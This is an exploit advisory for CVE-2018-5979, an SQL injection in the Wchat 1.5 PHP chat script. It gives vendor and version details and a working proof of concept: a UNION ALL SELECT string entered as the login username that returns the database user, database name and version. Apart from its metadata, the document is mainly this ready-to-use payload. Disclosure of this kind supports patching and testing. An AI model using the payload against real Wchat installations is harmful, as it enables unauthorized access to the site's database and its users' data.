Wchat 1.5 SQL Injection

`# # # # #   
# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection  
# Dork: N/A  
# Date: 23.01.2018  
# Vendor Homepage: http://bylancer.com/  
# Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319  
# Version: 1.5  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-5979  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
# http://localhost/[PATH]/login.php  
#   
# User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX  
# Pass: anything  
#   
# # # # #  
  
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